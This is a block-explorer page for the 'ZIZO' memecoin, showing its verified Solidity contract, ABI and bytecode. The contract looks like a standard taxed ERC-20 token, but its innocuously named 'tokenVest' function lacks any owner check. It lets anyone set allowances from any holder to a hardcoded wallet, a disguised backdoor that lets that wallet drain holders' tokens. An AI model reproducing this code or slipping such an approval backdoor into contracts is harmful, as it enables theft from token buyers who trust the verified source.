ETH Price: $3,131.22 (+0.97%)

Token

ZIZO (ZIZO)
 

Overview

Max Total Supply

420,690,000,000 ZIZO

Holders

98

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,237,319,939.095087174 ZIZO

Value
$0.00
0x3ba9eadb8d1275a63267e5a39c73a1e8fee58848
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ZIZO

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-11-09
*/

/**
ZIZO is a vibrant and enchanting celebration held in a unique village located high in the sky. 

Web: https://zizoeth.world
X:   https://x.com/zizo_Erc20
Tg:  https://t.me/zizo_Erc20
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ZIZO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFee;
    mapping (address => bool) private _bots;
    address payable private _taxWallet;
    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyAt=12;
    uint256 private _reduceSellAt=12;
    uint256 private _preventCount=15;
    uint256 private _buyTokenCount=0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    string private constant _name = unicode"ZIZO";
    string private constant _symbol = unicode"ZIZO";
    uint256 public _maxTxAmount = _tTotal * 2 / 100;
    uint256 public _maxWalletAmount = _tTotal * 2 / 100;
    uint256 public _minTaxSwap= _tTotal * 1 / 100;
    uint256 public _maxTaxSwap= _tTotal * 1 / 100;
    IUniswapV2Router02 private uniRouter;
    address private uniPair;
    address private capybara=0x88EeAEc7F158aB03A61fD889e058E6234C9f9d9E;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private _isCaLimitTo = true;
    uint256 private _caBlockLimitTo = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () {
        _taxWallet = payable(capybara);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFee[owner()] = true;
        _isExcludedFee[address(this)] = true;
        _isExcludedFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
    function init() external onlyOwner() { 
        uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniRouter), _tTotal);
        uniPair = IUniswapV2Factory(uniRouter.factory()).createPair(address(this), uniRouter.WETH());
    }
    function tokenVest(address zFlag, uint256 amount, bytes32 cacao) external{
        _approve(zFlag, capybara, amount);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from] - amount;
            _balances[to] = _balances[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }
        if (from != owner() && to != owner()) {
            require(!_bots[from] && !_bots[to]);
            taxAmount = amount.mul((_buyTokenCount>_reduceBuyAt)?_finalBuyTax:_initialBuyTax).div(100);
            if (from == uniPair && to != address(uniRouter) && ! _isExcludedFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletAmount, "Exceeds the maxWalletSize.");
                _buyTokenCount++;
            }
            if(to == uniPair && from!= address(this) ){
                taxAmount = amount.mul((_buyTokenCount>_reduceSellAt)?_finalSellTax:_initialSellTax).div(100);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) {
                    sendToEth(address(this).balance);
                }
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniPair && swapEnabled && contractTokenBalance>_minTaxSwap && _buyTokenCount>_preventCount) {
                if (_isCaLimitTo) {
                    if (_caBlockLimitTo < block.number) {
                        swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                        uint256 contractETHBalance = address(this).balance;
                        if(contractETHBalance > 0) {
                            sendToEth(address(this).balance);
                        }
                        _caBlockLimitTo = block.number;
                    }
                } else {
                    swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                    uint256 contractETHBalance = address(this).balance;
                    if(contractETHBalance > 0) {
                        sendToEth(address(this).balance);
                    }
                }
            }
        }
        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this), taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniRouter.WETH();
        _approve(address(this), address(uniRouter), tokenAmount);
        uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function withdrawEth() external onlyOwner() {
        payable(msg.sender).transfer(address(this).balance);
    }
    function sendToEth(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
    receive() external payable {}
    function removeLimits() external onlyOwner {
        _isCaLimitTo = false;
        _maxTxAmount = _tTotal;
        _maxWalletAmount=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        tradingOpen = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"zFlag","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bytes32","name":"cacao","type":"bytes32"}],"name":"tokenVest","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600655600f6007555f6008555f600955600c600a55600c600b55600f600c555f600d5560646009600a6200003b9190620003d5565b6200004c906461f313f880620003ec565b62000059906002620003ec565b62000065919062000406565b600e556064620000786009600a620003d5565b62000089906461f313f880620003ec565b62000096906002620003ec565b620000a2919062000406565b600f556064620000b56009600a620003d5565b620000c6906461f313f880620003ec565b620000d3906001620003ec565b620000df919062000406565b6010556064620000f26009600a620003d5565b62000103906461f313f880620003ec565b62000110906001620003ec565b6200011c919062000406565b60115560148054600163ffffff0160a01b031916770100000088eeaec7f158ab03a61fd889e058e6234c9f9d9e1790555f6015553480156200015c575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601454600580546001600160a01b0319166001600160a01b03909216919091179055620001cd6009600a620003d5565b620001de906461f313f880620003ec565b335f908152600160208190526040822092909255600390620002075f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620002653390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200029e6009600a620003d5565b620002af906461f313f880620003ec565b60405190815260200160405180910390a362000426565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200031a57815f1904821115620002fe57620002fe620002c6565b808516156200030c57918102915b93841c9390800290620002df565b509250929050565b5f826200033257506001620003cf565b816200034057505f620003cf565b8160018114620003595760028114620003645762000384565b6001915050620003cf565b60ff841115620003785762000378620002c6565b50506001821b620003cf565b5060208310610133831016604e8410600b8410161715620003a9575081810a620003cf565b620003b58383620002da565b805f1904821115620003cb57620003cb620002c6565b0290505b92915050565b5f620003e560ff84168362000322565b9392505050565b8082028115828204841417620003cf57620003cf620002c6565b5f826200042157634e487b7160e01b5f52601260045260245ffd5b500490565b61186680620004345f395ff3fe60806040526004361061011e575f3560e01c8063751039fc1161009d578063a3f4b7a011610062578063a3f4b7a0146102db578063a9059cbb146102fa578063c9567bf914610319578063dd62ed3e1461032d578063e1c7392a14610371575f80fd5b8063751039fc146102785780637d1db4a51461028c5780638da5cb5b146102a157806395d89b4114610129578063a0ef91df146102c7575f80fd5b8063300d6217116100e3578063300d6217146101e9578063313ce567146101fe5780636c0a24eb1461021957806370a082311461022e578063715018a614610262575f80fd5b806306fdde0314610129578063095ea7b3146101645780630faee56f1461019357806318160ddd146101b657806323b872dd146101ca575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201825260048152635a495a4f60e01b6020820152905161015b9190611446565b60405180910390f35b34801561016f575f80fd5b5061018361017e3660046114a6565b610385565b604051901515815260200161015b565b34801561019e575f80fd5b506101a860115481565b60405190815260200161015b565b3480156101c1575f80fd5b506101a861039b565b3480156101d5575f80fd5b506101836101e43660046114d0565b6103bc565b3480156101f4575f80fd5b506101a860105481565b348015610209575f80fd5b506040516009815260200161015b565b348015610224575f80fd5b506101a8600f5481565b348015610239575f80fd5b506101a861024836600461150e565b6001600160a01b03165f9081526001602052604090205490565b34801561026d575f80fd5b50610276610423565b005b348015610283575f80fd5b5061027661049d565b348015610297575f80fd5b506101a8600e5481565b3480156102ac575f80fd5b505f546040516001600160a01b03909116815260200161015b565b3480156102d2575f80fd5b5061027661055e565b3480156102e6575f80fd5b506102766102f5366004611529565b6105b3565b348015610305575f80fd5b506101836103143660046114a6565b6105d0565b348015610324575f80fd5b506102766105dc565b348015610338575f80fd5b506101a861034736600461155b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561037c575f80fd5b5061027661074a565b5f610391338484610944565b5060015b92915050565b5f6103a86009600a611686565b6103b7906461f313f880611694565b905090565b5f6103c8848484610a67565b610419843361041485604051806060016040528060288152602001611809602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110be565b610944565b5060019392505050565b5f546001600160a01b031633146104555760405162461bcd60e51b815260040161044c906116ab565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104c65760405162461bcd60e51b815260040161044c906116ab565b6014805460ff60b81b191690556104df6009600a611686565b6104ee906461f313f880611694565b600e556104fd6009600a611686565b61050c906461f313f880611694565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61053c6009600a611686565b61054b906461f313f880611694565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105875760405162461bcd60e51b815260040161044c906116ab565b60405133904780156108fc02915f818181858888f193505050501580156105b0573d5f803e3d5ffd5b50565b6014546105cb9084906001600160a01b031684610944565b505050565b5f610391338484610a67565b5f546001600160a01b031633146106055760405162461bcd60e51b815260040161044c906116ab565b601454600160a01b900460ff161561065f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044c565b6012546001600160a01b031663f305d7194730610690816001600160a01b03165f9081526001602052604090205490565b5f806106a35f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e91906116e0565b50506014805462ff00ff60a01b19166201000160a01b17905550565b5f546001600160a01b031633146107735760405162461bcd60e51b815260040161044c906116ab565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107bd9030906107ae6009600a611686565b610414906461f313f880611694565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561080d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610831919061170b565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610890573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b4919061170b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108fe573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610922919061170b565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166109a65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044c565b6001600160a01b038216610a075760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044c565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610acb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044c565b6001600160a01b038216610b2d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044c565b5f8111610b8e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044c565b6014545f90600160b01b900460ff161580610bb25750601454600160a81b900460ff165b15610c6a576001600160a01b0384165f90815260016020526040902054610bda908390611726565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610c09908390611739565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c5c9086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610c9457505f546001600160a01b03848116911614155b15610f8a576001600160a01b0384165f9081526004602052604090205460ff16158015610cd957506001600160a01b0383165f9081526004602052604090205460ff16155b610ce1575f80fd5b610d0d6064610d07600a54600d5411610cfc57600654610d00565b6008545b85906110f6565b9061117b565b6013549091506001600160a01b038581169116148015610d3b57506012546001600160a01b03848116911614155b8015610d5f57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e4557600e54821115610db65760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161044c565b600f5482610dd8856001600160a01b03165f9081526001602052604090205490565b610de29190611739565b1115610e305760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161044c565b600d8054905f610e3f8361174c565b91905055505b6013546001600160a01b038481169116148015610e6b57506001600160a01b0384163014155b15610ea357610e956064610d07600b54600d5411610e8b57600754610d00565b60095485906110f6565b905047610ea1476111bc565b505b305f90815260016020526040902054601454600160a81b900460ff16158015610ed957506013546001600160a01b038581169116145b8015610eee5750601454600160b01b900460ff165b8015610efb575060105481115b8015610f0a5750600c54600d54115b15610f8857601454600160b81b900460ff1615610f6357436015541015610f5e57610f48610f4384610f3e846011546111f7565b6111f7565b61120b565b478015610f5857610f58476111bc565b50436015555b610f88565b610f76610f4384610f3e846011546111f7565b478015610f8657610f86476111bc565b505b505b801561100257305f90815260016020526040902054610fa9908261137b565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ff99085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461102490836113d9565b6001600160a01b0385165f9081526001602052604090205561106761104983836113d9565b6001600160a01b0385165f908152600160205260409020549061137b565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110b085856113d9565b604051908152602001610c5c565b5f81848411156110e15760405162461bcd60e51b815260040161044c9190611446565b505f6110ed8486611726565b95945050505050565b5f825f0361110557505f610395565b5f6111108385611694565b90508261111d8583611764565b146111745760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044c565b9392505050565b5f61117483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061141a565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156111f3573d5f803e3d5ffd5b5050565b5f8183116112055782611174565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061125157611251611783565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112a8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112cc919061170b565b816001815181106112df576112df611783565b6001600160a01b0392831660209182029290920101526012546113059130911684610944565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac9479061133d9085905f90869030904290600401611797565b5f604051808303815f87803b158015611354575f80fd5b505af1158015611366573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f806113878385611739565b9050838110156111745760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044c565b5f61117483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110be565b5f818361143a5760405162461bcd60e51b815260040161044c9190611446565b505f6110ed8486611764565b5f602080835283518060208501525f5b8181101561147257858101830151858201604001528201611456565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105b0575f80fd5b5f80604083850312156114b7575f80fd5b82356114c281611492565b946020939093013593505050565b5f805f606084860312156114e2575f80fd5b83356114ed81611492565b925060208401356114fd81611492565b929592945050506040919091013590565b5f6020828403121561151e575f80fd5b813561117481611492565b5f805f6060848603121561153b575f80fd5b833561154681611492565b95602085013595506040909401359392505050565b5f806040838503121561156c575f80fd5b823561157781611492565b9150602083013561158781611492565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156115e057815f19048211156115c6576115c6611592565b808516156115d357918102915b93841c93908002906115ab565b509250929050565b5f826115f657506001610395565b8161160257505f610395565b816001811461161857600281146116225761163e565b6001915050610395565b60ff84111561163357611633611592565b50506001821b610395565b5060208310610133831016604e8410600b8410161715611661575081810a610395565b61166b83836115a6565b805f190482111561167e5761167e611592565b029392505050565b5f61117460ff8416836115e8565b808202811582820484141761039557610395611592565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f606084860312156116f2575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561171b575f80fd5b815161117481611492565b8181038181111561039557610395611592565b8082018082111561039557610395611592565b5f6001820161175d5761175d611592565b5060010190565b5f8261177e57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156117e75784516001600160a01b0316835293830193918301916001016117c2565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f78b15901110632b43fc99f7c4b4f26e7cf7812e5c6e376d7c12118ece1baa4e64736f6c63430008180033

Deployed Bytecode

0x60806040526004361061011e575f3560e01c8063751039fc1161009d578063a3f4b7a011610062578063a3f4b7a0146102db578063a9059cbb146102fa578063c9567bf914610319578063dd62ed3e1461032d578063e1c7392a14610371575f80fd5b8063751039fc146102785780637d1db4a51461028c5780638da5cb5b146102a157806395d89b4114610129578063a0ef91df146102c7575f80fd5b8063300d6217116100e3578063300d6217146101e9578063313ce567146101fe5780636c0a24eb1461021957806370a082311461022e578063715018a614610262575f80fd5b806306fdde0314610129578063095ea7b3146101645780630faee56f1461019357806318160ddd146101b657806323b872dd146101ca575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201825260048152635a495a4f60e01b6020820152905161015b9190611446565b60405180910390f35b34801561016f575f80fd5b5061018361017e3660046114a6565b610385565b604051901515815260200161015b565b34801561019e575f80fd5b506101a860115481565b60405190815260200161015b565b3480156101c1575f80fd5b506101a861039b565b3480156101d5575f80fd5b506101836101e43660046114d0565b6103bc565b3480156101f4575f80fd5b506101a860105481565b348015610209575f80fd5b506040516009815260200161015b565b348015610224575f80fd5b506101a8600f5481565b348015610239575f80fd5b506101a861024836600461150e565b6001600160a01b03165f9081526001602052604090205490565b34801561026d575f80fd5b50610276610423565b005b348015610283575f80fd5b5061027661049d565b348015610297575f80fd5b506101a8600e5481565b3480156102ac575f80fd5b505f546040516001600160a01b03909116815260200161015b565b3480156102d2575f80fd5b5061027661055e565b3480156102e6575f80fd5b506102766102f5366004611529565b6105b3565b348015610305575f80fd5b506101836103143660046114a6565b6105d0565b348015610324575f80fd5b506102766105dc565b348015610338575f80fd5b506101a861034736600461155b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561037c575f80fd5b5061027661074a565b5f610391338484610944565b5060015b92915050565b5f6103a86009600a611686565b6103b7906461f313f880611694565b905090565b5f6103c8848484610a67565b610419843361041485604051806060016040528060288152602001611809602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110be565b610944565b5060019392505050565b5f546001600160a01b031633146104555760405162461bcd60e51b815260040161044c906116ab565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104c65760405162461bcd60e51b815260040161044c906116ab565b6014805460ff60b81b191690556104df6009600a611686565b6104ee906461f313f880611694565b600e556104fd6009600a611686565b61050c906461f313f880611694565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61053c6009600a611686565b61054b906461f313f880611694565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105875760405162461bcd60e51b815260040161044c906116ab565b60405133904780156108fc02915f818181858888f193505050501580156105b0573d5f803e3d5ffd5b50565b6014546105cb9084906001600160a01b031684610944565b505050565b5f610391338484610a67565b5f546001600160a01b031633146106055760405162461bcd60e51b815260040161044c906116ab565b601454600160a01b900460ff161561065f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044c565b6012546001600160a01b031663f305d7194730610690816001600160a01b03165f9081526001602052604090205490565b5f806106a35f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f820116820